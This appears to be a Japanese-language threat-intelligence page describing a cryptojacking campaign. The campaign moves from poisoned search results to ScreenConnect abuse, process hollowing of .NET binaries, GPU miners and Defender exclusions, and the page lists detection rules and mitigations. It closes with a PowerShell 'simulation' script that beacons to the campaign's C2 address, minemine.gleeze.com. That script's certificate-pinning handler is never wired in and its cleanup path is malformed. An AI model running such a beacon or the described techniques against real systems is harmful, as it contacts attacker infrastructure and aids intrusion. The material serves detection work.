SOC Prime Bias: 中程度

27 May 2026 15:46 UTC

毒された検索結果からGPUマイニングへ:ScreenConnectと.NETユーティリティを使用したクリプトジャッキングキャンペーン

Author Photo
SOC Prime Team linkedin icon フォローする
毒された検索結果からGPUマイニングへ:ScreenConnectと.NETユーティリティを使用したクリプトジャッキングキャンペーン
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このキャンペーンは、SEOポイズニングと操作されたAIチャットボット検索結果を利用して、ユーザーを偽のハードウェアモニタリングツールをダウンロードさせるよう誘導します。トロイの木馬化されたインストーラーは、正規のアプリケーションにサイドロードされる悪意のあるDLLを運び、ひっそりとScreenConnectを展開します。攻撃者は次にScreenConnectを使ってカスタムRunPEドロッパーを起動し、Microsoft署名の.NETバイナリをホローアウトし、次の段階のペイロードを注入します。最終段階では、 gminer, lolMinerSRBMiner-MULTIをダウンロードし、スケジュールされたタスク、レジストリのRunキー、スタートアップショートカットを使用して永続性を維持します。このマルウェアは、検出の機会を減らすためにWindows Defenderの除外も追加します。

調査

Microsoft Defenderの研究者は、DLLサイドローディングの手法、リモート管理ツールとしてのScreenConnectの悪用、 SimpleRunPE.exeという名前のカスタムRunPEローダーの使用を含む、完全な感染チェーンをマッピングしました。分析者はScreenConnectのコマンドライン引数を回収し、プロセスホローイングに使用される署名された.NETバイナリのリストを特定し、ピン留めされたTLS証明書で保護されたコマンドアンドコントロールエンドポイントを文書化しました。また、キャンペーンに関連する悪意のあるドメイン、IPアドレス、DNSプロバイダの詳細などのサポートインフラストラクチャーも発見しました。

緩和策

ディフェンダーは、クラウド配信防御を有効にし、攻撃面削減ルールを適用し、信頼性、普及度、または年齢要件を満たさない実行可能ファイルをブロックし、Microsoft Defender for Endpointでウェブとネットワークの保護をオンにするべきです。例えば、ScreenConnectのようなリモート管理ツールは不要な場合無効化し、必要な場合でも厳密にコントロールされ、不正なスケジュールされたタスクと疑わしいレジストリRunエントリを監視するべきです。マルウェアによって追加されたWindows Defenderの除外は直ちに削除され、特定された悪意のあるドメインとIPアドレスをブロックするべきです。

対応

If RuntimeHost.exe or SimpleRunPE.exe が隠しキャッシュディレクトリから実行されていることが分かった場合、直ちに影響を受けたホストを隔離し、関連するScreenConnectセッションを終了し、スケジュールされたタスク、Runキー、スタートアップショートカットを含むすべての永続性メカニズムを削除します。ドメイン minemine.gleeze.com および観測されたIPアドレスをブロックし、列挙されたマイナーバイナリや autorun.dllを環境全体で追跡します。最後に、Defenderの保護を復元し、無許可の変更について除外設定を見直します。

アタックフロー

検出

可能性のある持続性のポイント[ASEPs – ソフトウェア/NTUSERハイブ](registry_event経由)

SOC Prime Team
2026年5月27日

Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指しています(cmdline経由)

SOC Prime Team
2026年5月27日

代替リモートアクセス/管理ソフトウェア(process_creation経由)

SOC Prime Team
2026年5月27日

疑わしいCURL使用(cmdline経由)

SOC Prime Team
2026年5月27日

Powershellから疑わしい.NETメソッドを呼び出し(powershell経由)

SOC Prime Team
2026年5月27日

Windows Defenderの優先設定に不審な変更(powershell経由)

SOC Prime Team
2026年5月27日

可能性のある回避チェック(powershell経由)

SOC Prime Team
2026年5月27日

自動起動位置にある不審なバイナリ/スクリプト(file_event経由)

SOC Prime Team
2026年5月27日

IOC(HashSha256)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

IOC(SourceIP)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

IOC(DestinationIP)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

中身が空のバイナリからのC2通信[Windowsネットワーク接続]

SOC Prime AIルール
2026年5月27日

ScreenConnectとSimpleRunPEを通じた持続的なリモートアクセスとプロセスホローイング[Windowsプロセス生成]

SOC Prime AIルール
2026年5月27日

シミュレーション実行

前提条件: テレメトリとベースラインの事前フライトチェックが通過している必要があります。

根拠: このセクションでは、検出ルールをトリガーするために設計された敵技術(TTP)の正確な実行を詳細に説明します。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的とします。

  • 攻撃の物語とコマンド:
    攻撃者はすでに 中身が空の正規のバイナリ を被害者のマシンに配信しています。このバイナリは現在、 WebSocket を介した持続的なC2チャネルを wss://minemine.gleeze.com:8443/wsに開始しています。これをエミュレートするために、カスタムTLS証明書検証コールバックを設定するオプション(証明書ピン留めのシミュレーション)を備えた.NET ClientWebSocketを作成し、短期間接続を維持するPowerShellスクリプトを使用します。

  • 回帰テストスクリプト:

    # 中身が空のバイナリからC2通信をシミュレート
    # 要件: PowerShell 5+(.NET組み込みクラス)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # WebSocketクライアントの作成
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # オプション: 証明書ピン留め(特定の親指印のみを許可)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # placeholder
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "C2エンドポイント$c2Urlに接続中..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "接続確立済み。ビーコンペイロードを送信中..."
    
        # ダミーのビーコン(JSON)を送信
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # チャンネルを短期間開いたままに
    }
    finally {
        Write-Host "WebSocketを閉じています..."
        $ws.Abort()
    }
  • クリーンアップコマンド:

    # 残っているWebSocketプロセスが終了するように
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # テストに使用した一時ファイルをオプションで削除
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue